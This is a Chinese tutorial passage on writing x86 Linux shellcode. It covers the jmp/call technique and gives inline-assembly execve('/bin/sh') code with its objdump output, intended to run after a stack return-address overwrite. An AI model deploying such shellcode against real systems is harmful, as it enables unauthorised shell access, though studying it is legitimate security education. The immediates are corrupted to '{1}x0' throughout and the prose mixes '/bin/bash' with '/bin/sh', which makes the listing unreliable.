进一步完善shellcode的提取(2)

我们可以看到,exit系统调用将0x1放入到eax中(它是syscall的索引值),同时将退出码放入到ebx中(大部分程序正常退出时的返回值是0),然后执行“int 0x80”系统调用。

其实,到目前为止,我们要构造shellcode,但是我们并不知道我们要放置的字符串在内存中的确切位置。在3.1节中,我们采用将字符串压栈的方式获得字符串起始地址。在这一节中,我们将给出一种确定字符串起始地址的设计方案。该方案采用的是jmp和call指令。由于jmp和call指令都可以采用eip相对寻址,也就是说,我们可以从当前运行的地址跳到一个偏移地址处执行,而不必知道这个地址的确切地址值。如果我们将call指令放在“/bin/bash”字符串前,然后jmp到call指令的位置,那么当call指令被执行时,它会首先将下一个要执行的指令的地址(也就是字符串的起始地址)压入堆栈。这样就可以获得字符串的起始地址。然后我们可以让call指令调用我们的shellcode的第一条指令,然后将返回地址(字符串起始地址)从堆栈中弹出到某个寄存器中。

我们要构造的shellcode的执行流程如下图所示:

进一步完善shellcode的提取

Shellcode执行流程解析:

RET覆盖返回地址eip之后,子函数返回时将跳转到我们的shellcode的起始地址处执行。由于shellcode起始地址处是一条jmp指令,它直接跳到了我们的call指令处执行。call指令先将返回地址(“/bin/bash”字符串地址)压栈之后,跳转到jmp指令下一地址处指令继续执行。这样就可以获取到字符串的地址。

即:

 Beginning_of_shellcode:   jmp subroutine_call   subroutine:   popl %esi   ……   (shellcode itself)   ……   subroutine_call:   call subroutine   /bin/sh    

下面,我们用C语言内嵌汇编的方式,构造shellcode。

 root@linux:~/pentest# cat shellcode_asm.c   #include <stdio.h>       int main(int argc, char **argv) {          __asm__       ("                \            jmp subroutine_call;    \       subroutine:            \           popl %esi;        \           movl %esi,0x8(%esi);    \           movl {1}x0,0xc(%esi);    \           movb {1}x0,0x7(%esi);    \           movl {1}xb,%eax;       \           movl %esi,%ebx;        \           leal 0x8(%esi),%ecx;    \           leal 0xc(%esi),%edx;    \           int {1}x80;        \           movl {1}x0,%ebx;        \           movl {1}x1,%eax;        \           int {1}x80;        \       subroutine_call:        \           call subroutine;    \           .string \"/bin/sh\";    \        ");          return 0;   }      root@linux:~/pentest# objdump -d shellcode_asm      08048394 <main>:    8048394:    55                       push   %ebp    8048395:    89 e5                    mov    %esp,%ebp    8048397:    eb 2a                    jmp    80483c3 <subroutine_call>      08048399 <subroutine>:    8048399:    5e                           pop    %esi    804839a:    89 76 08                   mov    %esi,0x8(%esi)    804839d:    c7 46 0c 00 00 00 00     movl   {1}x0,0xc(%esi)    80483a4:    c6 46 07 00               movb   {1}x0,0x7(%esi)    80483a8:    b8 0b 00 00 00           mov    {1}xb,%eax    80483ad:    89 f3                       mov    %esi,%ebx    80483af:    8d 4e 08                   lea    0x8(%esi),%ecx    80483b2:    8d 56 0c                   lea    0xc(%esi),%edx    80483b5:    cd 80                       int    {1}x80    80483b7:    bb 00 00 00 00           mov    {1}x0,%ebx    80483bc:    b8 01 00 00 00           mov    {1}x1,%eax    80483c1:    cd 80                       int    {1}x80      080483c3 <subroutine_call>:    80483c3:    e8 d1 ff ff ff           call   8048399 <subroutine>    80483c8:    2f                         das        80483c9:    62 69 6e                 bound  %ebp,0x6e(%ecx)    80483cc:    2f                         das        80483cd:    73 68                jae    8048437 <__libc_csu_init+0x57>    80483cf:    00 b8 00 00 00 00        add    %bh,0x0(%eax)    80483d5:   5d                         pop    %ebp    80483d6:    c3                       ret        80483d7:    90                       nop    80483d8:    90                       nop    80483d9:    90                       nop    80483da:    90                       nop    80483db:    90                       nop    80483dc:    90                       nop    80483dd:    90                       nop    80483de:    90                       nop    80483df:    90                       nop    

替换掉shellcode中含有的Null字节的指令:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwypyx.html